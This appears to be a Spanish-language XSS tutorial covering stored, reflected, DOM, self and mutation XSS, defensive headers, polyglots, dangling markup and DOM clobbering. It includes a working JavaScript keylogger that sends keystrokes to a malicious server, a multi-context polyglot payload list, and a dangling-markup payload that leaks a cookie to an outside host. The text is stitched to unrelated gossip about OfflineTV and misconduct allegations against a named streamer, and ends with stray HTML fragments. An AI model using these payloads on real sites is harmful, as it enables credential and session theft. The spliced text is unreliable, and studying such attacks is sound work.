El XSS (inyección de código javascript en otros sitios) es la inclusión de código javascript en aplicaciones, webs, documentos... con capacidad de interpretarlo.
Ejemplo de un script/codigo javascript, alert("hola") que muestra un mensaje en pantalla.
Adelante pruébalo en una página vulnerable.

En cambio si la página es segura verás que no es vulnerable.

Como puedes comprobar, si la página está mal programada puedes ejecutar código en ella. Qué riesgos implica esto a parte de ver una ventana con un mensaje?

Si existe una vulnerabilidad XSS, se puede inyectar código en la página para que se ejecute en un navegador o en el de miles de usuarios.
Un keylogger (registra las teclas que pulsas durante tu estancia en la web) en javascript se escribe en pocas líneas de código.

/* Keylogger (Android-IOS support) */
function keylogger() {
  var logs = "Keys:";
  var i = 0;
  window.onkeydown = function(e) {
    if (i++) {
      logs = "Key_Id=" + event.target.value.charAt(event.target.selectionStart -1).charCodeAt() + "KeyChar=" +
                event.target.value.charAt(event.target.selectionStart -1) + "\n\n" ;
      new Image().src = servidorMalicioso + idCliente + "/" + "keylogs=" + logs;
    }
  }
}

Esto implica que si un login es vulnerable a XSS pueden robar tus contraseñas. No solo se aplica a webs clásicas, si no a todo tipo de aplicaciones.
Teniendo presente que la mayoría de sitios webs se alojan en los servidores de las mismas empresas, es una técnica totalmente transparente para un usuario normal. No va a observar nada que pueda diferir de lo usual.
Son comunes también redirecciones a publicidad, timos, defacements, denegaciones de servicio...



2. Cómo sé cuando una página es vulnerable?
Existen varias técnicas y depende de las circunstancias.
En el caso de que seas un programador novicio preocupado por la seguridad de tu sitio web. Tu mejor baza es compartir el código en el foro para que te podamos ayudar.
Cabe mención aquí de herramientas como ZAP (aquí online). Si lo vas a usar, hazlo con mi dominio https://stringmanolo.ga. No scannes sitios sin permiso.
Hay escaners de todo tipo. Así como pueden hallar vulnerabilidades que personas no, también pueden pasar por alto puntos de inyección muy obvios. Alguien con alguna experiencia los puede localizar en segundos.
Si estás aprendiendo seguridad no hay nada mejor que introducir el código en la aplicación y analizar el código fuente usando la función inspeccionar elemento usando el navegador.
En sistemas Android, se puede observar el código fuente precediendo con view-source: la dirección; y/o utilizando javascript: seguido de código javascript.
Para verificar el fallo de seguridad se introduce un alert() debido a que es fácil identificar la inyección de código al mostrarse el mensaje indicado en pantalla. Cabe la posibilidad de que en el propio código de la página esten desabilitados.
Es este tu caso? Prueba a escribir a mano javascript:alert(); sobre la barra de direcciones. Si no funciona, puedes modificar el código de la página con el código inyectado para demostrar la vulnerabilidad.
 
 
 
3. Qué tipos de XSS existen?
Se distinge entre 3 tipos. Esta manera de distinguir se basa en si los datos proporcionados por el usuario son almacenados en la aplicación, son reflejados o se ejecutan directamente en el cliente.
Yo añado dos tipos más, son estos los que; o bien son modificados por el navegador, o los que se hace uno sobre si mismo (teniendo o no consciencia de ello).



4. Introdución a los tipos de XSS.

   • Stored XSS (inyección javascript almacenada en sitios cruzados).
Es común que las aplicaciones almacenen datos cuyo origen eres tú. Véanse nombre de usuario, correo eléctronico, ubicación...
En el supuesto que consigas introducir código en tu nombre de usuario que el navegador interprete, todos los demás usuarios interpretarán el código en lugar de visualizar tu nombre de usuario. Quedan entonces subvertidos todos los navegadores mientras permanezcan en la página que incluye tu inyección de código.
Observa aquí una simulación de Stored XSS
Puedes explotarlo registrándote con un nombre y añadiendo <svg onload=alert()> como payload que inserta un elemento SVG que mediante el evento onload llama al código javascript abriendo la ventana.
 
   • Reflected XSS (inyección javascript reflejada en sitios cruzados).
Cuando una página hace una operación y muestra de vuelta la información, es posible conseguir una inyección de javascript reflejada.
Las características principales de este fallo de seguridad son que; este fallo NO se incluye en la página permanentemente y que este fallo se genera como respuesta a una petición/acción que realizas sobre la propia página.
Si no realizas esa acción, no verás tu código javascript en la página. Aqui te ofrezco una simulación de Reflected XSS.
Puedes apreciar que en la URL va incluido #/search?q=<img onerror=confirm() src=nada>. Si haces la búsqueda de <img onerror=confirm() src=nada > en google, verás algo muy similar.
Directamente puedes escribir la búsqueda en la url de la siguiente forma: https://google.com/search?q=<img onerror=confirm() src=nada>. La q después de search es un parámetro http. Cuando el servidor crea el código, refleja(escribe) ese parámetro dentro de la página.
Si no se modifica el parámetro para que no se ejecute el código (google si lo hace) entonces el código es ejecutado.
Si bien el Stored XSS es un fallo que puede afectar a miles de usuarios al incluirse el código inyectado al visitar la página (no requiere que el usuario introduzca código) el reflected también es también peligroso dado que se puede explotar desde una segunda página web rediriguiendo a los usuarios pudiendo dar más control a un hipotético actor malientencionado.
Este fallo no solo se puede explotar mediante una url (usuarlmente petición http con método GET), si no que también se puede explotar utilizando el método POST rediriguiendo al usuario de la aplicación al enviar este un formulario con el código al sitio web vulnerable.
 
   • DOM XSS (inyección javascript sobre el documento)
Las inyecciones javascript en el DOM son aquellas que se ejecutan directamente sobre la página y no requieren de que un servidor procese, envíe o incluya la inyección.
Incluso a usuarios con nivel intermedio les resulta problemático comprender este tipo de XSS. Todas las páginas vulnerables que has visto hasta ahora, son en realidad DOM XSS. En ningún momento la información que has enviado a las páginas llegó al servidor porque son fallos emulados.
Todo el código que les "enviastes" a sido procesado por código javascript que ya estaba en la página.
En la primera página en la que escribiste alert(), una función llamada eval ejecutó tu código.
En la segunda página vulnerable el código se almacenó en tu navegador, cuando volviste a cargar de nuevo la página, fue el código javascript de la página (no el servidor) el que mete el que incluye código en la página para que el navegador lo ejecute.
En la tercera página vulnerable es el código javascript el que lee la barra de direcciones y mete en la página el la url después del =.
En casos reales de Stored XSS la información se guarda en el servidor y todo el mundo puede verla. Y en el caso real de Reflected XSS es el servidor quien envía el código reflejado.
Como los DOM XSS se ejecutan utilizando el código ya existente de la página sin interacturar con el servidor, son fallos muy peligrosos porque el dueño de la página no tiene forma de registrar lo que pasa. Para aprovechar este fallo es necesario conocer los sink (funciones y propiedades del DOM) que lo permiten. Algunos de los más comunes son innerHTML y outerHTML, eval, location y document.cookie.
 
   • Self XSS (ejecución de javascript sobre si mismo)
Divido el self xss(inyección a uno mismo) en 2. El self XSS consciente, y el self XSS inducido.
Al realizar un self XSS consciente, tratas de explotar cualquiera de los otros tipos de XSS a través de este. Con un ejemplo se ve mejor. Self XSS. Como puedes ver, cuando vas a esta página te retorna la versión de tu navegador. Esta información no se puede modificar con javascript. Pero si puedes modificarla con un proxy que intercepte las peticiones HTTP o modificando la configuración de tu navegador. Si modificas tu userAgent y lo cambias por código como el del último ejemplo, conseguiras la ejecución de código.
El tema está en que no tienes forma de modificarle esta información a otro usuario a través de código javascript/html. Entonces para que sirve hacerse selfxss consciente? Normalmente no de mucho. Se pueden hacer utilidades para remover atributos como pattern, required, max, etc. Prácticamente lo mismo que con la consola del navegador con el objetivo de facilitar la explotación de otros fallos.
Por el otro lado el selfXSS inducido es una técnica más propia de phishing que de xss. El objetivo de la técnica es engañar a un usuario para que ejecute tu código sobre la página objetivo. Un ejemplo burdo: "Ve a al login de facebook, pon tu usuario y contraseña y ejecuta este código siguiendo estos pasos para poder entrar como administrador y ver los mensajes de los demás usuarios.".
Creo que ambos selfXSS son al menos dignos de mención. El primero para evitar confusiones si se encuentra este fallo en una página y el segundo para poder entender algunas de las limitaciones impuestas sobre la ejecución del pseudo-protocolo javascript: (permite correr javascript sobre la web actual así como explotar otros XSS) .
 
   • mXSS (mutación de la inyección de javascript)
Es el xss es más raro de ver. Es causado por una mala interpretación del parser del navegador cuando le el código y forma las etiquetas en base a él. Por ejemplo tu podrías estar metiendo un string de html dentro de un script tal que:

<script>
var miTexto = `Mis etiquetas favoritas son <div> <img> y </script>
Es una pena que no se puedan utilizar todas juntas así:
<div etiquetasFavoritas=</script><img onerror=alert() src= >y</div>>`;
alert(miTexto);
</script>

El navegador cuando cargas la página lo entiende como lo siguiente:

<script>var miTexto = `Mis etiquetas favoritas son <div> <img> y </script>
Es una pena que no se puedan utilizar todas juntas así:
<div etiquetasFavortias=`></script>
<img onerror="alert()"><div></div>
alert(miTexto);
<script></script></body></html>

Si te fijas, lo que antes era código javascript (en concreto un string) ahora a mutado a ser código html pasando a interpretarse como tal y por tanto permitiendo la ejecución del script.
Este fallo no es un error en la página, ni es culpa del programador de la misma. Si no de una mala interpretación de lo que hay en ella por parte del navegador. La mutación no es exclusiva de javascript a html, si no que puede mutar de css a html, de html a css, etc.

 
 

5. Codificaciones, Filtros, firewalls, reglas, políticas...
Ya sabes los tipos de xss que hay. Cómo se previenen?

   • HTML Entities.
Las entidades html son una forma alternativa de representar caracteres peligrosos que previene su ejecución por parte del navegador. Por ejemplo si en tu código html pones &lt; en lugar de < el navegador no interpretara la etiqueta pero los visitantes verán el caracter <. También se puede hacer lo mismo usando los números que representan el caracter en la tabla Ascii. < es &#60; Aquí tienes un programa que hace esta conversión para que no tengas que mirarlos todos. html entities.
 
   • X-XSS-Protection:
Esta cabecera HTTP enviada por el servidor cuando envía la página, indica al navegador que no carge una página si el propio navegador detecta un ataque XSS. Se puede enviar desde PHP header("X-XSS-Protection: 1; mode=block"); y desde apache

<IfModule mod_headers.c>
Header set X-XSS-Protection "1; mode=block" 
</IfModule>

   • Content-Security-Policy:
Esta cabecera HTTP indica cual es el contenido que tu página permite y cual no, así como quien puede. De esta forma si una inyección intenta hacer algo que está bloqueado en las políticas, el navegador lo impedirá.

Content-Security-Policy: default-src 'none'; img-src 'self'; object-src 'none'; script-src 'self'; style-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'none';

Aquí tienes un artículo donde se explica exactamente que hace cada directiva. CSP MDN Aquí otro donde se explica de forma generalizada la política con varios examplos de uso común. CSP Google. También debes implementar X-Frame-Options para evitar otra vulnerabilidad muy frecuente que permite secuestro de clicks. XFO MDN
 
   • WAF se trata de una tecnología (normalmente un servidor) que hace de frontera recibiendo los datos introducidos por los usuarios con el objetivo de detectar ataques y tomar las medidas configuradas. Tras analizar las peticiones, se envían al servidor real.
  




6. Ataques y Técnicas (básicas, intermedias y avanzadas).
 

 
   • Básicas:

      • XSS (inyección de javascript en sitios cruzados) ya lo has visto en la sección número 4.
 
      • HTML injection (inyección de html) es una inyección de código html que no incluye la ejecución de código javascript de ninguna forma.
Un ejemplo básico es la inserción de un formulario apuntando al servidor malicioso donde se le pide al usuario legítimo que introduzca sus credenciales, pensando este que se está comunicando con la página actual.
También son comunes redirecciones a otras páginas, defacements, enlaces de phishing...
FIX: Puedes utilizar htmlEntities sobre el input para evitar que se interpreten las etiquetas. En caso de frontend puede utilizar textnodes o utilizar .innerText
  
      • javascript injection (inyección de javascript) es una técnica que te permite inyectar código javascript para manipular el comportamiento de una página o aplicación.
Un ejemplo sencillo es no perder las vidas en el juego offline del dinosauro de Google Chrome. Se ha echo bastante popular cambiar el código de la función de morir para que no haga nada cuando sea llamado.
Este concepto es aplicable a la seguridad donde se puede manipular el código para obtener resultados no esperados, robo de contraseñas y demás.
Si se están enviando datos a un servidor, pueden estar manipulados.
FIX: El cliente siempre puede ser manipulable por diseño, incluso remplazado completamente sin que el servidor lo notifique. Es por eso que siempre se debe validar toda información proveniente de él en el servidor.
  
      • Inline javascript injection (inyección de javascript en atributos) es una técnica de inyección de javascript comunmente utilizada para conseguir ejecución de javascript en atributos y eventos.
Por ejemplo <a href="javascript:alert('Hola')">Saludar</a>, <svg onload="alert('Hola')"> o <img onerror="alert('Hola')" src= > son solo algunos de las inyecciones utilizando algunos de los parámetros que pueden ejecutar javascript.
FIX: Cuando sea posible debes eliminar todo TU javascript inline y javascript entre etiquetas script. Debes moverlo a un archivo externo. De esta forma puedes aplicar políticas restrictivas que bloquen toda la ejecución de javascript en la página y solo se permite su ejecución desde tus archivos javascript. Lo mismo aplica a css, svg y otras tecnologías que no sean puramente html.
  
      • Alternative Attribute Separation (separación de atributos alternativa) algunos filtros asumen que la única forma posible de separar un atributo de la etiqueta es usar espacios.



   • Intermedias:

      • Políglotas (multilenguaje) son códigos creados con el objetivo de que sean ejecutados en múltiples contextos. Son una herramienta potente para probar a ciegas en aplicaciones que no tengan un sistema que te bloqué la inyección.
      

javascript:confirm()</xmp></script>'"</option></select></template></embed></noscript></style></textarea></title>'"><svg/onload=confirm()><img src=0 onerror=confirm()><META HTTP-EQUIV="refresh" CONTENT="4;url=data:text/html;base64,PHNjcmlwdD5jb25maXJtKCk8L3NjcmlwdD4=">

     
      Este políglota se ejecuta en un mínimo de 14 contextos distintos. Vamos a ver tanto los payload por separado que han dado origen a este políglota, como los 14 contextos en los que se consigue ejecución de javascript.
      

<!-- Se rompe el atributo class con "> quedando el svg dentro del div y ejecutándose. -->
<div id="iPoint1" class="{{payload}}"></div>
<!-- Exploit:
"><svg/onload=alert()>
-->
 
<!-- Se rompe el atributo class con '> quedando el svg dentro del div y ejecutándose. -->
<div id="iPoint2" class='{{payload}}'></div>
<!-- Exploit:
'><svg/onload=alert()>
-->
 
<!-- Se cierra la etiqueta title pudiendo inyectar el svg fuera de ella. -->
<title id="iPoint3">{{payload}}</title>
<!-- Exploit:
</title><svg/onload=alert()>
-->
 
<!-- Se cierra la etiqueta textarea quedando el svg fuera del textarea y por tanto pasa de ser texto a html. -->
<textarea id="iPoint4">{{payload}}</textarea>
<!-- Exploit:
</textarea><svg/onload=alert()>
-->
 
<!-- Se cierra la etiqueta style quedando el svg fuera del style y por tanto pasa de ser código CSS a HTML. -->
<style id="iPoint5">{{payload}}</style>
<!-- Exploit:
</style><svg/onload=alert()>
-->
 
<!-- Se cierra la etiqueta noscript quedando el svg fuera del noscript y por tanto pudiendo ejecutar inline javascript. -->
<noscript id="iPoint6">{{payload}}</noscript>
<!-- Exploit:
</noscript><svg/onload=alert()>
-->
 
<!-- Se cierra la etiqueta embed quedando el svg fuera y por tanto se ejecuta el javascript. -->
<embed id="iPoint7">{{payload}}</embed>
<!-- Exploit:
</embed><svg/onload=alert()>
-->
 
<!-- Se cierra la etiqueta template quedando el svg fuera y por tanto se ejecuta el javascript. -->
<template id="iPoint8">{{payload}}</template>
<!-- Exploit:
</template><svg/onload=alert()>
-->
 
<!-- Se cierra la etiqueta script quedando el svg fuera del script y por tanto pasa de ser código javascript a html que ejecuta el script inline. -->
<script id="iPoint9">{{payload}}</script>
<!-- Exploit:
</script><svg/onload=alert()>
-->
 
<!-- Se cierran las etiquetas option y select quedando el svg fuera y por tanto se ejecuta el script. -->
<select id="iPoint10"><option>{{payload}}</option></select>
<!-- Exploit:
</option></select><svg/onload=alert()>
-->
 
<!-- Se cierran las comillas dobles y se cierra la etiqueta script pasando el svg de ser un string javascript a código html. -->
<script id="iPoint11">"{{payload}}"</script>
<!-- Exploit:
</script>"<svg/onload=alert()>
-->
 
<!-- Se cierran las comillas simples y se cierra la etiqueta script pasando el svg de ser un string javascript a código html. -->
<script id="iPoint12">'{{payload}}'</script>
<!-- Exploit:
</script>'<svg/onload=alert()>
-->
 
<!-- Se utiliza el pseudo-protocolo para ejecutar el código javascript cuando el usuario utilice el enlace. -->
<a id="iPoint13" href="{{payload}}"></a>
<!-- Exploit:
javascript:alert()
-->
 
<!-- Se utiliza una etiqueta meta que permite ejecución de javascript usando el uri data:. El contenido del script es un confirm codificado en base64.
<head id="iPoint14">
{{payload}}
</head>
<!-- Exploit:
<META HTTP-EQUIV="refresh"
CONTENT="4;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
-->

       El políglota se ejecuta en todos esos contextos, pudiendo faciliar blindXSS (inyección a ciegas).

      • Dangling Markup Injection (o inyección de html colgando) es un tipo de inyección que puede servir para extración de data sensible hacia un servidor externo.
Esta inyección se basa en no cerrar las comillas de un atributo para que se incluya como valor del atributo todo el contenido hasta la siguiente comilla.
NO es una inyección javascript, es una inyección HTML. Esta técnica es útil cuando existe información sensible desde el punto de inyección en el que se inyecta tu código, hasta la siguiente comilla.
El siguiente ejemplo es vulnerable a un Reflected Dangling Markup Injection.
Dangling HTML Injection
El payload es <a href=https://phishingoda.ga/windowName.htm>If you want to use images anyway click me!</a><base target="
Funciona de la siguiente manera: El <base target="contenido"> cambia la propiedad name de la ventana del navegador. Como no cerramos el contenido del atributo, el navegador entiende que todo hasta la siguiente comilla es el contenido de target.
Debido a que el nombre de la ventana no cambia al visitar otra página, si el usuario pincha el enlace, se incluye código de la página vulnerable como nombre de la ventana. Entonces el atacante solo tiene que leer la propiedad window.name y guardarla en su servidor.
Si yo atacante, quiero robarte el texto secreto (puede ser tu cookie de sesión) de la página https://stringmanolo.ga/xssSeries/DanglingHtmlInjection.html lo que hago es enviarte un link malicioso que refleje la inyección de HTML en la página. Por ejemplo:
Ey! En la página de stringmanolo han metido nueva funcionalidad! https://stringmanolo.ga/NewFeatures pincha en el enlace de la página!
El código vulnerable es el siguiente: <div id="injectionPoint">${filtroXSS(urlInyectada)}</div> Secret Cookie (unique for each user):${cookie}<div id="breakpoint"></div> donde la primera comilla después de nuestra inyección está después de la cookie, por lo que se puede extraer la cookie como valor del atributo target.
FIX: Para prevenir este fallo se debe incluir el <base target="_self"> antes de cualquier punto de inyección.
Ojo, target no es la única propiedad que permite Dangling. src y action entre otras también lo permiten. Target en cocreto se salta las políticas CSP.



   • Avanzadas:

      • DOM Clobbering (O golpeo al DOM) es una tecnica que consiste en aprovechar que elementos/etiquetas repetidos pueden ser agrupados en colecciones, haciendose accesibles como propiedad de window.
Es común que un programador implemente código para comprobar si un objeto ya existe antes de definirlo let miObjeto = ( window.miObjeto || {} ) en casos donde no se permite la ejecución de javascript pero si es posible inyectar código html, es posible realizar este ataque si se usan las propiedades del objeto para alguna acción susceptible de ser remplazada por una propiedad con posibles fines maliciosos.
En el código del siguiente ejemplo existe un objeto librarySecureLogin que contiene una url a una imagen llamada login4PNG como propiedad. Para explotar la vulnerabilidad inyectamos un par de etiquetas <a> con un id igual al nombre del objeto global que queremos crear.
En la segunda etiqueta definimos el nombre de la propiedad que utiliza el código vulnerable (login4PNG) utilizando name, ya que name a la vez que atributo de <a> también es propiedad de HTMLCollection, que es el objeto que creamos al repetir el id.
También definimos el atributo de la propiedad. De esta forma cuando se llame a la propiedad, se retornada el atributo que contiene, que en este caso es una url a una inofensiva imagen.
En caso de que el código vulnerable obtenga el src de un script de esta forma, podremos cargarle nuestro archivo javascript sin violar la política que prohíbe inline javascript.
https://stringmanolo.ga/xssSeries/DOMClobbering.html#<a id=librarySecureLogin></a><a id=librarySecureLogin name=login4PNG href=https://stringmanolo.ga/xssSeries/hacked.png></a>
Es posible que si existe una política bien implementada, no se puedan cargar recursos de otro origen. En esos casos debe comprobarse si es posible un bypass de CSP o alojar el recurso en un origen permitido.
FIX: Evita el uso de || para comprobar si una propiedad de window está definida.


Nota: Seguiré añadiendo cosas a lo largo del tiempo, pero da más curro de lo que parece. Si quereis aportar algo para que lo incluya, es bienvenido!

Si juegais a juegos, veis streams o videos de youtube de juegos profesionales puede que conozcais a algunos de los protagonistas:
Scarra midlaner de Dignitas en League of Legends.
Pokimane la streamer femenina con más seguidores en Twitch.
Lilypichu, streamer femenina y artista.
Disguised Toast streamer de heartstome y jugador competitivo.
Yvonne, streamer femenina.
Fedmyster streamer y editor.

Hace 3 años entre ellos y algún otro streamer fundaron Offline TV un grupo de streamers que alquilaron una casa/mansión con el objetivo de colaborar en los streams, compartir gastos y hacer actividades en grupo.

En el último trimestre se ha montado un buen revuelo tran un incidente en el que Fedmyster llego ebrio a la vivienda en la que residen los streamers según relatan sus compañeros. Mantuvo actitudes obscenas con sus compañeras tras lo cual se reunieron para comentar el incidente. Durante la conversación todos sufrieron una gran revelación tras que una de las streamers se decidiese a comentar que había sufrido tocamientos anteriormente en múltiples ocasiones. Tras lo cual otras de sus compañeras habitacionales relato otra historia muy similar. Durante la conversación también se reveló información de manipulaciones y chantajes con respeto a otros streamers de su círculo cercano.

Todo esto detonó tras el relato de una de las streamers en Twitter tras lo que más y más información que da veracidad al modus operandi apoyase las declaraciones. Tras el relato de todas las compañeras de vivienda, fedmyster admitió que tiene un problema. Todavía no ha quedado claro si han sido solo tocamientos o llegó a mantener relaciones con sus compañeras de piso aprovechándose de su estado de embriagadez para eludir responsabilidades.

Tres días después de los relatos en Twitter, se comunicó de forma oficial desde el canal de OfflineTV la expulsión de Fedmyster de la casa con un mensaje contundente:
"Queremos estar en un lugar en el que todos se puedan sentir seguros y a gusto. Con esto en mente, Fed ha sido expulsado de Offline TV. Tampoco vivirá con nosotros. Apoyamos de todo corazon a Yvonne, su relato y a cualquiera que tenga el valor de compartir su historia."

Múltiples streamers han echo pública su opinión y desprecio sobre los echos. Otros han justificado los echos alegando que "Ligar o insinuarse de forma cutre no es un acoso ni un abuso".

El propio Fed a pedido perdón en Twitter donde relata que nunca a sido su intención acosar ni actuar de forma maliciosa y donde él mismo linkea las historias de sus compañeras:
https://twitter.com/Fedmyster/status/1277077853553561605

<html lang="es">
<html lang="es-Es">
<html lang="esEs">
<html lang="es-es">

Otro?